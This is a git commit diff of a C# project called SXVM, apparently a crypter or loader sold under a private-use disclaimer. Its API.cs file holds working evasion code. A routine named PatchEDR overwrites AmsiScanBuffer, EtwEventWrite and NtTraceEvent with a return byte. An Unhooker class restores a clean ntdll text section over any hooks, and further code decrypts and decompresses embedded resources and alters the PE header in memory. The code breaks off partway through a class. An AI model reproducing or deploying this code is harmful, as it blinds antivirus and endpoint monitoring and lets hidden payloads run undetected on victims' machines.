initial commit
This commit is contained in:
@@ -0,0 +1,9 @@
|
|||||||
|
Disclaimer for Code Usage and Distribution
|
||||||
|
|
||||||
|
The code and accompanying documentation provided to you are intended strictly for personal use and educational purposes only.
|
||||||
|
|
||||||
|
Redistribution, leaking, or sharing of any part of the codebase, documentation, or related materials—publicly or privately—without explicit permission is strictly prohibited.
|
||||||
|
|
||||||
|
Please be advised that any such unauthorized distribution may result in the immediate termination of business relationship, and the rights are reserved to refuse any future sales, support, or collaboration.
|
||||||
|
|
||||||
|
By using these materials, you acknowledge and agree to these terms.
|
||||||
Binary file not shown.
@@ -0,0 +1,31 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio Version 17
|
||||||
|
VisualStudioVersion = 17.3.32819.101
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SXVM", "SXVM\SXVM.csproj", "{E1902815-B6DF-4BC8-94A6-C61A382FE83D}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Any CPU = Debug|Any CPU
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Release|Any CPU = Release|Any CPU
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||||
|
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||||
|
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||||
|
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||||
|
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Release|x64.Build.0 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {425280F0-E36D-4ABA-8D95-46F06B7391D3}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
Binary file not shown.
+712
@@ -0,0 +1,712 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.IO.Compression;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Runtime.ExceptionServices;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using static SXVM.Settings;
|
||||||
|
using System.Net;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
|
||||||
|
namespace SXVM
|
||||||
|
{
|
||||||
|
internal static class API
|
||||||
|
{
|
||||||
|
[DllImport("kernel32.dll")]
|
||||||
|
internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll")]
|
||||||
|
internal static extern IntPtr LoadLibrary(string name);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll")]
|
||||||
|
internal static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
internal static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint dwSize, out int lpNumberOfBytesRead);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
internal static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, long dwSize, out long lpNumberOfBytesRead);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
internal static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out long lpNumberOfBytesWritten);
|
||||||
|
|
||||||
|
private static Dictionary<string, Func<object[], object[]>> labelActions = new Dictionary<string, Func<object[], object[]>>();
|
||||||
|
|
||||||
|
internal static void RegisterHandler(string label, Func<object[], object[]> action)
|
||||||
|
{
|
||||||
|
labelActions[label] = action;
|
||||||
|
}
|
||||||
|
|
||||||
|
internal static object[] JMP(string label, object[] args = null, bool Return = false)
|
||||||
|
{
|
||||||
|
if (labelActions.ContainsKey(label))
|
||||||
|
{
|
||||||
|
object[] result = labelActions[label].Invoke(args);
|
||||||
|
if (!Return)
|
||||||
|
{
|
||||||
|
result = null;
|
||||||
|
goto JMPOut;
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
throw new AccessViolationException();
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
JMPOut:
|
||||||
|
throw new AccessViolationException();
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
internal static void ClearDecryptionKeyFromMemory()
|
||||||
|
{
|
||||||
|
DecryptionKey = @"";
|
||||||
|
DecryptionKey = null;
|
||||||
|
GC.Collect();
|
||||||
|
}
|
||||||
|
|
||||||
|
internal static unsafe IntPtr GetManagedFunctionPointer(void* managedPointer)
|
||||||
|
{
|
||||||
|
long* longAddress = (long*)managedPointer + 1;
|
||||||
|
byte* targetAddress = (byte*)*longAddress;
|
||||||
|
return (IntPtr)targetAddress;
|
||||||
|
}
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll")]
|
||||||
|
private static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||||
|
|
||||||
|
[HandleProcessCorruptedStateExceptions]
|
||||||
|
private static IntPtr FindBytes(IntPtr startAddress, uint size, byte[] pattern)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
for (long i = 0; i < size - pattern.Length; i++)
|
||||||
|
{
|
||||||
|
bool found = true;
|
||||||
|
for (int j = 0; j < pattern.Length; j++)
|
||||||
|
{
|
||||||
|
if (Marshal.ReadByte((IntPtr)((long)startAddress + i + j)) != pattern[j])
|
||||||
|
{
|
||||||
|
found = false;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (found)
|
||||||
|
{
|
||||||
|
return (IntPtr)((long)startAddress + i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return IntPtr.Zero;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return IntPtr.Zero;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal static IntPtr FindECallFunction(string moduleName, string functionName)
|
||||||
|
{
|
||||||
|
IntPtr hModule = GetModuleHandle(moduleName);
|
||||||
|
if (hModule == IntPtr.Zero)
|
||||||
|
{
|
||||||
|
return IntPtr.Zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
IntPtr pFuncName = FindBytes(hModule, uint.MaxValue, System.Text.Encoding.ASCII.GetBytes(functionName + "\0"));
|
||||||
|
if (pFuncName == IntPtr.Zero)
|
||||||
|
{
|
||||||
|
return IntPtr.Zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
IntPtr ppFuncName = FindBytes(hModule, uint.MaxValue, BitConverter.GetBytes(pFuncName.ToInt64()));
|
||||||
|
if (ppFuncName == IntPtr.Zero)
|
||||||
|
{
|
||||||
|
return IntPtr.Zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
IntPtr funcAddr = Marshal.ReadIntPtr(ppFuncName - IntPtr.Size);
|
||||||
|
if (funcAddr.ToInt64() < hModule.ToInt64() || funcAddr.ToInt64() >= hModule.ToInt64() + (long)uint.MaxValue)
|
||||||
|
{
|
||||||
|
return IntPtr.Zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
return funcAddr;
|
||||||
|
}
|
||||||
|
|
||||||
|
internal static IntPtr FindECallFunctionViaModule(IntPtr hModule, string functionName)
|
||||||
|
{
|
||||||
|
if (hModule == IntPtr.Zero)
|
||||||
|
{
|
||||||
|
return IntPtr.Zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
IntPtr pFuncName = FindBytes(hModule, uint.MaxValue, System.Text.Encoding.ASCII.GetBytes(functionName + "\0"));
|
||||||
|
if (pFuncName == IntPtr.Zero)
|
||||||
|
{
|
||||||
|
return IntPtr.Zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
IntPtr ppFuncName = FindBytes(hModule, uint.MaxValue, BitConverter.GetBytes(pFuncName.ToInt64()));
|
||||||
|
if (ppFuncName == IntPtr.Zero)
|
||||||
|
{
|
||||||
|
return IntPtr.Zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
IntPtr funcAddr = Marshal.ReadIntPtr(ppFuncName - IntPtr.Size);
|
||||||
|
if (funcAddr.ToInt64() < hModule.ToInt64() || funcAddr.ToInt64() >= hModule.ToInt64() + (long)uint.MaxValue)
|
||||||
|
{
|
||||||
|
return IntPtr.Zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
return funcAddr;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct IMAGE_DOS_HEADER
|
||||||
|
{
|
||||||
|
public ushort e_magic;
|
||||||
|
public ushort e_cblp;
|
||||||
|
public ushort e_cp;
|
||||||
|
public ushort e_crlc;
|
||||||
|
public ushort e_cparhdr;
|
||||||
|
public ushort e_minalloc;
|
||||||
|
public ushort e_maxalloc;
|
||||||
|
public ushort e_ss;
|
||||||
|
public ushort e_sp;
|
||||||
|
public ushort e_csum;
|
||||||
|
public ushort e_ip;
|
||||||
|
public ushort e_cs;
|
||||||
|
public ushort e_lfarlc;
|
||||||
|
public ushort e_ovno;
|
||||||
|
public ushort e_res_0;
|
||||||
|
public ushort e_res_1;
|
||||||
|
public ushort e_res_2;
|
||||||
|
public ushort e_res_3;
|
||||||
|
public ushort e_oemid;
|
||||||
|
public ushort e_oeminfo;
|
||||||
|
public ushort e_res2_0;
|
||||||
|
public ushort e_res2_1;
|
||||||
|
public ushort e_res2_2;
|
||||||
|
public ushort e_res2_3;
|
||||||
|
public ushort e_res2_4;
|
||||||
|
public ushort e_res2_5;
|
||||||
|
public ushort e_res2_6;
|
||||||
|
public ushort e_res2_7;
|
||||||
|
public ushort e_res2_8;
|
||||||
|
public ushort e_res2_9;
|
||||||
|
public uint e_lfanew;
|
||||||
|
}
|
||||||
|
|
||||||
|
[HandleProcessCorruptedStateExceptions]
|
||||||
|
internal static void WriteCustomHeader(ushort NewHeader, out ushort OldHeader)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
IntPtr module = GetModuleHandle(null);
|
||||||
|
if (module != IntPtr.Zero)
|
||||||
|
{
|
||||||
|
IntPtr signaturePtr = IntPtr.Add(module, Marshal.SizeOf(typeof(IMAGE_DOS_HEADER)));
|
||||||
|
ushort signature = (ushort)Marshal.PtrToStructure(signaturePtr, typeof(ushort));
|
||||||
|
if (signature != NewHeader)
|
||||||
|
{
|
||||||
|
OldHeader = signature;
|
||||||
|
uint oldProtect;
|
||||||
|
if (VirtualProtect(module, (UIntPtr)512, 0x40, out oldProtect))
|
||||||
|
{
|
||||||
|
signature = NewHeader;
|
||||||
|
Marshal.StructureToPtr(signature, signaturePtr, false);
|
||||||
|
VirtualProtect(module, (UIntPtr)512, oldProtect, out oldProtect);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
OldHeader = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
OldHeader = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
OldHeader = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[HandleProcessCorruptedStateExceptions]
|
||||||
|
private static ProcessModule GetModuleByAddress(IntPtr address)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
IntPtr baseAddress = module.BaseAddress;
|
||||||
|
|
||||||
|
if (address.ToInt64() >= baseAddress.ToInt64() && address.ToInt64() < baseAddress.ToInt64() + module.ModuleMemorySize)
|
||||||
|
{
|
||||||
|
return module;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
[HandleProcessCorruptedStateExceptions]
|
||||||
|
internal static IntPtr SearchAoB(string pattern, string ModuleName)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Process process = Process.GetCurrentProcess();
|
||||||
|
|
||||||
|
foreach (ProcessModule module in process.Modules)
|
||||||
|
{
|
||||||
|
if (module.ModuleName == ModuleName)
|
||||||
|
{
|
||||||
|
IntPtr baseAddress = module.BaseAddress;
|
||||||
|
|
||||||
|
byte?[] patternBytes = pattern.Split(' ').Select(x =>
|
||||||
|
{
|
||||||
|
if (x == "??")
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return (byte?)Convert.ToByte(x, 16);
|
||||||
|
}).ToArray();
|
||||||
|
|
||||||
|
byte[] memoryBytes = new byte[module.ModuleMemorySize];
|
||||||
|
|
||||||
|
long bytesRead;
|
||||||
|
if (ReadProcessMemory(process.Handle, baseAddress, memoryBytes, memoryBytes.LongLength, out bytesRead) && bytesRead == memoryBytes.Length)
|
||||||
|
{
|
||||||
|
for (long i = 0; i <= memoryBytes.Length - patternBytes.Length; i++)
|
||||||
|
{
|
||||||
|
bool found = true;
|
||||||
|
for (long j = 0; j < patternBytes.Length; j++)
|
||||||
|
{
|
||||||
|
if (patternBytes[j].HasValue && patternBytes[j] != memoryBytes[i + j])
|
||||||
|
{
|
||||||
|
found = false;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (found)
|
||||||
|
{
|
||||||
|
IntPtr AOB_Address = (IntPtr)(baseAddress.ToInt64() + i);
|
||||||
|
if (GetModuleByAddress(AOB_Address).ModuleName == ModuleName)
|
||||||
|
{
|
||||||
|
return AOB_Address;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
return IntPtr.Zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
[HandleProcessCorruptedStateExceptions]
|
||||||
|
internal static unsafe void WriteMemoryBlock(IntPtr Address, byte[] src, uint size)
|
||||||
|
{
|
||||||
|
if ((int)size > src.Length)
|
||||||
|
{
|
||||||
|
throw new ArgumentOutOfRangeException(nameof(size), "Size exceeds the length of the source array.");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
uint OldProtect;
|
||||||
|
VirtualProtect(Address, (UIntPtr)size, 0x40, out OldProtect);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
void* dest = (void*)Address;
|
||||||
|
for (int i = 0; i < (int)size; i++)
|
||||||
|
{
|
||||||
|
*((byte*)dest + i) = src[i];
|
||||||
|
}
|
||||||
|
GC.Collect();
|
||||||
|
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||||
|
throw new AccessViolationException();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[HandleProcessCorruptedStateExceptions]
|
||||||
|
internal static unsafe byte[] ReadMemoryBlock(IntPtr Address, uint size)
|
||||||
|
{
|
||||||
|
if (Address == IntPtr.Zero)
|
||||||
|
{
|
||||||
|
throw new ArgumentException("Invalid memory address.");
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
else if ((int)size <= 0)
|
||||||
|
{
|
||||||
|
throw new ArgumentException("Size must be greater than zero.");
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
uint OldProtect;
|
||||||
|
VirtualProtect(Address, (UIntPtr)size, 0x40, out OldProtect);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
byte[] result = new byte[(int)size];
|
||||||
|
void* src = (void*)Address;
|
||||||
|
for (int i = 0; i < (int)size; i++)
|
||||||
|
{
|
||||||
|
result[i] = *((byte*)src + i);
|
||||||
|
}
|
||||||
|
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||||
|
throw new AccessViolationException();
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] Original_AmsiScanBuffer = null;
|
||||||
|
private static byte[] Original_EtwEventWrite = null;
|
||||||
|
private static byte[] Original_NtTraceEvent = null;
|
||||||
|
|
||||||
|
[HandleProcessCorruptedStateExceptions]
|
||||||
|
internal static void PatchEDR(bool Patch_AMSI, bool Patch_ETW, bool UseWriteProcessMemory)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
IntPtr AMSI_Library = LoadLibrary(@"amsi.dll");
|
||||||
|
IntPtr NTDLL_Library = LoadLibrary(@"ntdll.dll");
|
||||||
|
IntPtr AmsiScanBuffer_Address = GetProcAddress(AMSI_Library, @"AmsiScanBuffer");
|
||||||
|
IntPtr EtwEventWrite_Address = GetProcAddress(NTDLL_Library, @"EtwEventWrite");
|
||||||
|
IntPtr NtTraceEvent_Address = GetProcAddress(NTDLL_Library, @"NtTraceEvent");
|
||||||
|
Original_AmsiScanBuffer = ReadMemoryBlock(AmsiScanBuffer_Address, 30);
|
||||||
|
Original_EtwEventWrite = ReadMemoryBlock(EtwEventWrite_Address, 30);
|
||||||
|
Original_NtTraceEvent = ReadMemoryBlock(NtTraceEvent_Address, 30);
|
||||||
|
byte[] Patch = { 0xC3 };
|
||||||
|
if (Patch_AMSI == true)
|
||||||
|
{
|
||||||
|
if (UseWriteProcessMemory == true)
|
||||||
|
{
|
||||||
|
WriteProcessMemory(Process.GetCurrentProcess().Handle, AmsiScanBuffer_Address, Patch, (uint)Patch.Length, out _);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
WriteMemoryBlock(AmsiScanBuffer_Address, Patch, (uint)Patch.Length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
}
|
||||||
|
if (Patch_ETW == true)
|
||||||
|
{
|
||||||
|
if (UseWriteProcessMemory == true)
|
||||||
|
{
|
||||||
|
WriteProcessMemory(Process.GetCurrentProcess().Handle, EtwEventWrite_Address, Patch, (uint)Patch.Length, out _);
|
||||||
|
WriteProcessMemory(Process.GetCurrentProcess().Handle, NtTraceEvent_Address, Patch, (uint)Patch.Length, out _);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
WriteMemoryBlock(EtwEventWrite_Address, Patch, (uint)Patch.Length);
|
||||||
|
WriteMemoryBlock(NtTraceEvent_Address, Patch, (uint)Patch.Length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[HandleProcessCorruptedStateExceptions]
|
||||||
|
internal static void RestorePatchIntegrity(bool UseWriteProcessMemory, bool Exit = true)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
IntPtr AMSI_Library = LoadLibrary(@"amsi.dll");
|
||||||
|
IntPtr NTDLL_Library = LoadLibrary(@"ntdll.dll");
|
||||||
|
IntPtr AmsiScanBuffer_Address = GetProcAddress(AMSI_Library, @"AmsiScanBuffer");
|
||||||
|
IntPtr EtwEventWrite_Address = GetProcAddress(NTDLL_Library, @"EtwEventWrite");
|
||||||
|
IntPtr NtTraceEvent_Address = GetProcAddress(NTDLL_Library, @"NtTraceEvent");
|
||||||
|
if (UseWriteProcessMemory == true)
|
||||||
|
{
|
||||||
|
WriteProcessMemory(Process.GetCurrentProcess().Handle, AmsiScanBuffer_Address, Original_AmsiScanBuffer, (uint)Original_AmsiScanBuffer.Length, out _);
|
||||||
|
WriteProcessMemory(Process.GetCurrentProcess().Handle, EtwEventWrite_Address, Original_EtwEventWrite, (uint)Original_EtwEventWrite.Length, out _);
|
||||||
|
WriteProcessMemory(Process.GetCurrentProcess().Handle, NtTraceEvent_Address, Original_NtTraceEvent, (uint)Original_NtTraceEvent.Length, out _);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
WriteMemoryBlock(AmsiScanBuffer_Address, Original_AmsiScanBuffer, (uint)Original_AmsiScanBuffer.Length);
|
||||||
|
WriteMemoryBlock(EtwEventWrite_Address, Original_EtwEventWrite, (uint)Original_EtwEventWrite.Length);
|
||||||
|
WriteMemoryBlock(NtTraceEvent_Address, Original_NtTraceEvent, (uint)Original_NtTraceEvent.Length);
|
||||||
|
}
|
||||||
|
if (Exit == true)
|
||||||
|
{
|
||||||
|
throw new AccessViolationException();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
if (Exit == true)
|
||||||
|
{
|
||||||
|
throw new AccessViolationException();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal static byte[] ExtractResource(String filename)
|
||||||
|
{
|
||||||
|
System.Reflection.Assembly a = System.Reflection.Assembly.GetExecutingAssembly();
|
||||||
|
using (Stream resFilestream = a.GetManifestResourceStream(filename))
|
||||||
|
{
|
||||||
|
if (resFilestream == null) return null;
|
||||||
|
byte[] ba = new byte[resFilestream.Length];
|
||||||
|
resFilestream.Read(ba, 0, ba.Length);
|
||||||
|
return ba;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal static byte[] Decompress(byte[] data)
|
||||||
|
{
|
||||||
|
using (MemoryStream input = new MemoryStream(data))
|
||||||
|
{
|
||||||
|
using (MemoryStream output = new MemoryStream())
|
||||||
|
{
|
||||||
|
using (DeflateStream dstream = new DeflateStream(input, CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
dstream.CopyTo(output);
|
||||||
|
}
|
||||||
|
return output.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal static byte[] AESDecrypt(byte[] input, string Pass)
|
||||||
|
{
|
||||||
|
System.Security.Cryptography.RijndaelManaged AES = new System.Security.Cryptography.RijndaelManaged();
|
||||||
|
byte[] hash = new byte[32];
|
||||||
|
byte[] temp = new MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.ASCII.GetBytes(Pass));
|
||||||
|
Array.Copy(temp, 0, hash, 0, 16);
|
||||||
|
Array.Copy(temp, 0, hash, 15, 16);
|
||||||
|
AES.Key = hash;
|
||||||
|
AES.Mode = System.Security.Cryptography.CipherMode.ECB;
|
||||||
|
System.Security.Cryptography.ICryptoTransform DESDecrypter = AES.CreateDecryptor();
|
||||||
|
return DESDecrypter.TransformFinalBlock(input, 0, input.Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
internal static class Unhooker
|
||||||
|
{
|
||||||
|
[HandleProcessCorruptedStateExceptions]
|
||||||
|
internal static unsafe void Unhook(string a)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
bool wow64;
|
||||||
|
IsWow64Process(Process.GetCurrentProcess().Handle, out wow64);
|
||||||
|
|
||||||
|
string systemDirectory = Path.GetPathRoot(Environment.SystemDirectory) + @"Windows\System32\";
|
||||||
|
if (wow64 && IntPtr.Size == 4)
|
||||||
|
{
|
||||||
|
systemDirectory = Path.GetPathRoot(Environment.SystemDirectory) + @"Windows\SysWOW64\";
|
||||||
|
}
|
||||||
|
|
||||||
|
IntPtr dll = GetLoadedModuleAddress(a);
|
||||||
|
if (dll == IntPtr.Zero) return;
|
||||||
|
MODULEINFO moduleInfo;
|
||||||
|
if (!GetModuleInformation(Process.GetCurrentProcess().Handle, dll, out moduleInfo, (uint)sizeof(MODULEINFO))) return;
|
||||||
|
|
||||||
|
IntPtr dllFile = CreateFileA(systemDirectory + a, 0x80000000, 1, IntPtr.Zero, 3, 0, IntPtr.Zero);
|
||||||
|
if (dllFile == (IntPtr)(-1))
|
||||||
|
{
|
||||||
|
CloseHandle(dllFile);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
IntPtr dllMapping = CreateFileMapping(dllFile, IntPtr.Zero, 0x1000002, 0, 0, null);
|
||||||
|
if (dllMapping == IntPtr.Zero)
|
||||||
|
{
|
||||||
|
CloseHandle(dllMapping);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
IntPtr dllMappedFile = MapViewOfFile(dllMapping, 4, 0, 0, IntPtr.Zero);
|
||||||
|
if (dllMappedFile == IntPtr.Zero) return;
|
||||||
|
|
||||||
|
int ntHeaders = Marshal.ReadInt32((IntPtr)((long)moduleInfo.BaseOfDll + 0x3c));
|
||||||
|
short numberOfSections = Marshal.ReadInt16((IntPtr)((long)dll + ntHeaders + 0x6));
|
||||||
|
short sizeOfOptionalHeader = Marshal.ReadInt16(dll, ntHeaders + 0x14);
|
||||||
|
|
||||||
|
for (short i = 0; i < numberOfSections; i++)
|
||||||
|
{
|
||||||
|
IntPtr sectionHeader = (IntPtr)((long)dll + ntHeaders + 0x18 + sizeOfOptionalHeader + i * 0x28);
|
||||||
|
if (Marshal.ReadByte(sectionHeader) == '.' &&
|
||||||
|
Marshal.ReadByte((IntPtr)((long)sectionHeader + 1)) == 't' &&
|
||||||
|
Marshal.ReadByte((IntPtr)((long)sectionHeader + 2)) == 'e' &&
|
||||||
|
Marshal.ReadByte((IntPtr)((long)sectionHeader + 3)) == 'x' &&
|
||||||
|
Marshal.ReadByte((IntPtr)((long)sectionHeader + 4)) == 't')
|
||||||
|
{
|
||||||
|
int virtualAddress = Marshal.ReadInt32((IntPtr)((long)sectionHeader + 0xc));
|
||||||
|
uint virtualSize = (uint)Marshal.ReadInt32((IntPtr)((long)sectionHeader + 0x8));
|
||||||
|
uint oldProtect;
|
||||||
|
VirtualProtectA((IntPtr)((long)dll + virtualAddress), (IntPtr)virtualSize, 0x40, out oldProtect);
|
||||||
|
memcpy((IntPtr)((long)dll + virtualAddress), (IntPtr)((long)dllMappedFile + virtualAddress), (IntPtr)virtualSize);
|
||||||
|
VirtualProtectA((IntPtr)((long)dll + virtualAddress), (IntPtr)virtualSize, oldProtect, out oldProtect);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(dllMapping);
|
||||||
|
CloseHandle(dllFile);
|
||||||
|
FreeLibrary(dll);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct MODULEINFO
|
||||||
|
{
|
||||||
|
public IntPtr BaseOfDll;
|
||||||
|
public uint SizeOfImage;
|
||||||
|
public IntPtr EntryPoint;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static CloseHandleD CloseHandle = Marshal.GetDelegateForFunctionPointer<CloseHandleD>(GetLibraryAddress("kernel32.dll", "CloseHandle"));
|
||||||
|
private static FreeLibraryD FreeLibrary = Marshal.GetDelegateForFunctionPointer<FreeLibraryD>(GetLibraryAddress("kernel32.dll", "FreeLibrary"));
|
||||||
|
private static VirtualProtectD VirtualProtectA = Marshal.GetDelegateForFunctionPointer<VirtualProtectD>(GetLibraryAddress("kernel32.dll", "VirtualProtect"));
|
||||||
|
private static CreateFileAD CreateFileA = Marshal.GetDelegateForFunctionPointer<CreateFileAD>(GetLibraryAddress("kernel32.dll", "CreateFileA"));
|
||||||
|
private static CreateFileMappingD CreateFileMapping = Marshal.GetDelegateForFunctionPointer<CreateFileMappingD>(GetLibraryAddress("kernel32.dll", "CreateFileMappingA"));
|
||||||
|
private static MapViewOfFileD MapViewOfFile = Marshal.GetDelegateForFunctionPointer<MapViewOfFileD>(GetLibraryAddress("kernel32.dll", "MapViewOfFile"));
|
||||||
|
private static memcpyD memcpy = Marshal.GetDelegateForFunctionPointer<memcpyD>(GetLibraryAddress("msvcrt.dll", "memcpy"));
|
||||||
|
private static GetModuleInformationD GetModuleInformation = Marshal.GetDelegateForFunctionPointer<GetModuleInformationD>(GetLibraryAddress("psapi.dll", "GetModuleInformation"));
|
